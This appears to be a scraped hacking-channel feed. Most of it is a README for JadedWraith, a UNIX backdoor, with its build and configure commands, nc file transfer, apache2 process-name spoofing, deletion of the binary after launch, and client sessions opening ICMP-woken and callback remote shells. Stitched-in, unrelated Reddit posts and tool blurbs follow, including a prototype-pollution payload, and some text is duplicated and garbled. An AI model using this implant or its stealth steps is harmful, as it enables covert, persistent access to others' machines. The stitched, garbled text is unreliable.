Components
The source code for the actual implant can be found inside the src directory. client contains a simple python based client for interacting with JadedWraith. The conf_jawr script is used to configure new JadedWraith executables.
Dependencies
The implant requires a modern C library and libpthread. Depending on the target operating system, libpcap (https://www.kitploit.com/search/label/LibPCAP) may be required (In which case, it you must run the ./configure script with --use-libpcap to enable libpcap support). The Python configuration script and client require the the following packages to work: termcolor, pycryptodomex
How to compile
Simply use the Makefile to compile. Note: The resulting binaries found in bin must be configured before they can be used. $ ./configure
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

How to configure
Use the conf_jawr script to configure JadedWraith executables. It will search the bin directory for JadedWraith executables to configure. The configured binary will be written to the configured directory. -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell ">$ ./conf_jawr
JadedWraith Configuration

Please choose a JadedWraith binary to use:
1. JadedWraith-2.0.0-Linux-x86_64.elf
Binary : 1
Shared Key [95454c93c8d5d30a0782da72ade10e29] :
Enable passive mode (ICMP wakeup) ? [y/n] y
Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] :
argv[0] (Leave blank to not spoof command) [] :

JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin

Try me!
sudo ./wraith-client.py -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell

How to install
A configured implant can simply be ran on the target system. If configured to use the passive ICMP functionality, it must be ran as root. The environmental variable _CMD can be used to spoof the process's argv[] apache2 # chmod +x apache2 # _CMD="/usr/sbin/apache2" ./apache2 # rm apache2 '># cd /tmp
# nc -lvp 4444 > apache2
# chmod +x apache2
# _CMD="/usr/sbin/apache2" ./apache2
# rm apache2

How to interact
The wraith-client.py script inside client can be used to interact with JadedWraith. Simply invoke it with the arguments produced by the conf_jawr script, substituting the target's IP for . If utilizing the ICMP functionality, the script must be ran as root to send the ICMP packet. sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 192.168.100.224 [*] backdoor will listen on port 58290 [*] connecting to 192.168.100.224:58290 [+] connection established! [*] entering interactive shell >> .cd /tmp >> w 14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23 USER TTY LOGIN@ IDLE JCPU PCPU WHAT >> ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31 >> .exit $ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 127.0.0.1 [*] backdoor will connect to port 37943 [*] listening on port 37943 [+] accepted connection! [*] entering interactive shell >> ">$ ~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 192.168.100.224
[*] backdoor will listen on port 58290
[*] connecting to 192.168.100.224:58290
[+] connection established!
[*] entering interactive shell
>> .cd /tmp
>> w
14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23

___________________________
@hacking_Attack
@Hacking_Video

USER TTY LOGIN@ IDLE JCPU PCPU WHAT
>> ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31
>> .exit
$ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 127.0.0.1
[*] backdoor will c onnect to port 37943
[*] listening on port 37943
[+] accepted connection!
[*] entering interactive shell
>>

Bugs
I'm sure this has plenty of bugs. Let me know if you find any. I wrote this over a few days and the code isn't my proudest. Feel free to report any issues and I'll try to fix them.

Download JadedWraith (https://github.com/phath0m/JadedWraith)

___________________________
@hacking_Attack
@Hacking_Video

Handwritten enumeration anyone?
https://www.reddit.com/r/Pentesting/comments/pw3oj8/handwritten_enumeration_anyone/

submitted by /u/I_AM_ALWAYS_ANGRY (https://www.reddit.com/user/I_AM_ALWAYS_ANGRY)
[link] (https://www.reddit.com/r/hackthebox/comments/pw3gic/handwritten_enumeration_anyone/) [comments] (https://www.reddit.com/r/Pentesting/comments/pw3oj8/handwritten_enumeration_anyone/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
JadedWraith - Light-weight UNIX Backdoor

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
An Indonesian local government website had been hacked by some crazies and then posted a threat to bomb/explode the Chinese embassy in Jakarta.

submitted by /u/reddit-mailinator
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do I get the real physical MAC address of an iPhone?

How do I get the real physical MAC address of an iPhone from Kali (from Linux or Kali)?

The one I obtain with nmap is not the real physical MAC address. It's a "private" software MAC address, as described here: https://support.apple.com/en-gb/HT211949.

submitted by /u/hwoodice
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How long should I be learning hacking until I do my first bug bounty?

Hi, I've been learning hacking for a week or so, I know this is probably a short time to do anything really, but I'm still curious how long will it take me to hit my first bug bounty?

submitted by /u/darkocvet1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hello there:)

So i have a question. When i am around town or at a coffee shop. I hate it when they block all theses websites. And some vpns dont work. Is there anyway on windows i can create an exit node for my ipad to go to my computer (windows 10, can do virtual machine) to my home wifi then my computer sends it back to me so i dont have to go though stupid restricted wifi?

Cheers

submitted by /u/Jps1002331
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hi all. I have an idea.

For the five people who are going to read this, I want to share an idea. If you are interested in something unique that will fetch money. Dm me.

submitted by /u/Life_Loan_931
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Plution : Prototype Pollution Scanner Using Headless Chrome

Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases documented here: https://github.com/BlackFan/client-side-prototype-pollution/tree/master/pp

What This Is Not

This is not a one stop shop. Prototype pollution is a complicated beast. This tool does nothing you couldn’t do manually. This is not a polished bug-free super tool. It is functional but poorly coded and to be considered alpha at best.

How It Works

Plution appends a payload to supplied URLs, naviguates to each URL with headless chrome and runs javascript on the page to verify if a prototype was successfully polluted.

How It Is Used

* Basic scan, output only to screen:
cat URLs.txt | plution
* Scan with a supplied payload rather than hardcoded one:
cat URLs.txt|plution -p '__proto__.zzzc=example'
Note on custom payloads: The variable you are hoping to inject must be called or render to “zzzc”. This is because ‘window.zzzc’ will be run on each page to verify pollution.
* Output:
Passing '-o' followed by a location will output only URLs of pages that were successfully polluted.
* Concurrency:
* Pass the '-c' option to specify how many concurrent jobs are run (default is 5)
Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I don't know where to ask but maybe you guys have an idea... am I being watched through my laptop camera?

I was in the shower and my little sister was watching a show on my laptop. Randomly the green camera light turned on. She acknowledged it and was like "wtf" while looking closer, then it turned off. I never had photo booth or facetime open. Later on my computer made a weird almost glitch noise. I've had paranoid feelings I'm being watched but this makes it 100x worse. I put a sticker over my camera lense but I don't know what to do........ help

submitted by /u/Competitive-Ad5943
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Details of 106M Travellers to Thailand Exposed Following Data Breach

https://external-preview.redd.it/RRhybRlrGwP2iOT_VXOea-J2qymIsHZVN11mE4rsp08.jpg?width=640&crop=smart&auto=webp&s=e0912365ea37794ce16e6e5f5d18287e8f3fe640 submitted by /u/george-alexander2k
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is getting a VPN really worth it?

I’m confused by advertisements and people praising VPN services, but then hearing tech experts trashing some VPNs. What do you guys think?

submitted by /u/franfonse
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Exploit code for three iOS 15 zero-day flaws published

https://external-preview.redd.it/Nh8a6mOauM7Jy5J9P7GAEJSXUfUqDGH5Y0JEXtOzz0o.jpg?width=640&crop=smart&auto=webp&s=b1ab7cc254c327e04844f59b23ab11c2a234f40b submitted by /u/okhotspy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Manufacturer Leaving WiFi Key on New PC?

Hey,

I am not sure if this is the right forum for this--apologize if not--but I'm not sure what to make of this question I was asked.

A friend just got a new computer this week from a company we've all heard of before. She has only had it for a couple of days. While trying to remember the password to a wifi hotspot she connected to, she entered netsh wlan show profile (or whatever the command is) to see the name of the hotspot so she could do a key=clear.

After running the command, she noticed there was a profile of the name of the company. After running key=clear, it revealed that profile had a 9 digit key.

Questions:

1) Is this a normal thing? I've never noticed it before on any of my devices.
2) Are there any other security concerns (hardware or otherwise) that should be audited as a result of this

3) What--if any--use would this information be to anyone

​

That's it. Thanks for reading, and looking onward to reading the comments

submitted by /u/5kidmark2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Host Header Injection On Password Reset Functionality An Easy #P2
https://medium.com/@tameemkhalid786/host-header-injection-on-password-reset-functionality-an-easy-p2-5c6263c2e3d4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video